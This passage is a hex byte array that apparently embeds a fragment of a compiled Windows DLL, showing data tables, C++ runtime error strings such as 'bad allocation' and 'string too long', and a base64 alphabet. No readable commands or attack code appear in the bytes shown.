0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xB7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0xB7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFA, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE4, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCA, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9E, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF2, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9C, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEA, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEE, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB2, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3A, 0xBC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0xBC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0xBC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0xBC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xBD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBC, 0xBD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF2, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF2, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7E, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC6, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xC2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xC2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0xC2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEA, 0xC2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD6, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBC, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x96, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAE, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC6, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7E, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB2, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCE, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEA, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB6, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCA, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7E, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x72, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xF8, 0x72, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x80, 0x7A, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xA0, 0x7A, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xA0, 0x7A, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x7A, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0xD5, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xC0, 0xD5, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x9A, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x0C, 0x6C, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x9A, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x70, 0x10, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x50, 0x10, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xF0, 0x9F, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x70, 0x10, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x50, 0x10, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x62, 0x61, 0x64, 0x20, 0x61, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0x00, 0x10, 0xA1, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x70, 0x10, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x50, 0x10, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x55, 0x6E, 0x6B, 0x6E, 0x6F, 0x77, 0x6E, 0x20, 0x65, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x61, 0x64, 0x20, 0x61, 0x72, 0x72, 0x61, 0x79, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x6C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x00, 0x00, 0x00, 0x00, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x74, 0x6F, 0x6F, 0x20, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x62, 0x61, 0x64, 0x20, 0x63, 0x61, 0x73, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2B, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x20, 0x74, 0x6F, 0x6F, 0x20, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x69, 0x6E, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0xB8, 0x9A, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x6C, 0x68, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x28, 0x9F, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x30, 0x54, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x40, 0x4C, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x20, 0x4C, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x60, 0x4A, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x70, 0x49, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xC4, 0x68, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x49, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x20, 0x46, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xD0, 0x44, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xF0, 0x42, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x10, 0x42, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x10, 0x41, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xC0, 0x40, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x70, 0x40, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x28, 0x9B, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x60, 0x68, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x18, 0xA0, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x70, 0x10, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x50, 0x10, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x50, 0x9F, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x70, 0x10, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x50, 0x10, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA8, 0x00, 0x00, 0x00, 0x58, 0xA0, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x55, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xB8, 0x68, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xBE, 0x68, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xD0, 0x50, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x70, 0x50, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xC4, 0x68, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xF0, 0x4F, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xCA, 0x68, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xD0, 0x68, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xD6, 0x68, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x60, 0x4E, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x30, 0x4D, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xDC, 0x68, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xE2, 0x68, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xE8, 0x68, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x30, 0x9E, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x70, 0x10, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x50, 0x10, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0x00, 0x00, 0x41, 0x50, 0x50, 0x42, 0x00, 0x00, 0x00, 0x00, 0xC5, 0x43, 0xDB, 0x3D, 0x45, 0x05, 0x78, 0x7C, 0x1E, 0xBA, 0x1E, 0xD2, 0x60, 0x34, 0xFF, 0x0B, 0xC5, 0x43, 0xDB, 0x3D, 0x45, 0x05, 0x78, 0x7C, 0x1E, 0xBA, 0x1E, 0xD2, 0x60, 0x34, 0xFF, 0x0B, 0xB7, 0x46, 0x94, 0xFD, 0x53, 0x3E, 0x67, 0x78, 0x60, 0xE1, 0x40, 0x39, 0xC6, 0x7C, 0xB7, 0x9A, 0x39, 0xCA, 0xB9, 0xAB, 0xF1, 0xD8, 0xAD, 0xF2, 0x32, 0xD2, 0xD5, 0xE4, 0x7C, 0x91, 0x74, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC5, 0x43, 0xDB, 0x3D, 0x45, 0x05, 0x78, 0x7C, 0x1E, 0xBA, 0x1E, 0xD2, 0x60, 0x34, 0xFF, 0x0B, 0xB7, 0x46, 0x94, 0xFD, 0x53, 0x3E, 0x67, 0x78, 0x60, 0xE1, 0x40, 0x39, 0xC6, 0x7C, 0xB7, 0x9A, 0x39, 0xCA, 0xB9, 0xAB, 0xF1, 0xD8, 0xAD, 0xF2, 0x32, 0xD2, 0xD5, 0xE4, 0x7C, 0x91, 0x74, 0x77, 0xFB, 0x26, 0x2B, 0x03, 0x6F, 0x1A, 0x2A, 0xE4, 0x14, 0x30, 0x6C, 0xB4, 0xA2, 0x28, 0x83, 0x9F, 0xC5, 0x43, 0xDB, 0x3D, 0x45, 0x05, 0x78, 0x7C, 0x1E, 0xBA, 0x1E, 0xD2, 0x60, 0x34, 0xFF, 0x0B, 0xB7, 0x46, 0x94, 0xFD, 0x53, 0x3E, 0x67, 0x78, 0x60, 0xE1, 0x40, 0x39, 0xC6, 0x7C, 0xB7, 0x9A, 0x98, 0x9E, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x54, 0x68, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xD0, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0x93, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xE8, 0x93, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xA3, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x93, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xF0, 0x93, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xF8, 0x93, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x94, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x08, 0x94, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAF, 0x29, 0x15, 0x68, 0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0xD0, 0x02, 0x00, 0x00, 0x84, 0xA3, 0x00, 0x00, 0x84, 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAF, 0x29, 0x15, 0x68, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xD1, 0x00, 0x00, 0x28, 0x9A, 0x00, 0x00, 0x00, 0x9A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x40, 0x9A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x9A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xD1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x28, 0x9A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x48, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0xD0, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x80, 0x9E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x88, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xD0, 0xD3, 0x00, 0x00, 0x18, 0x9C, 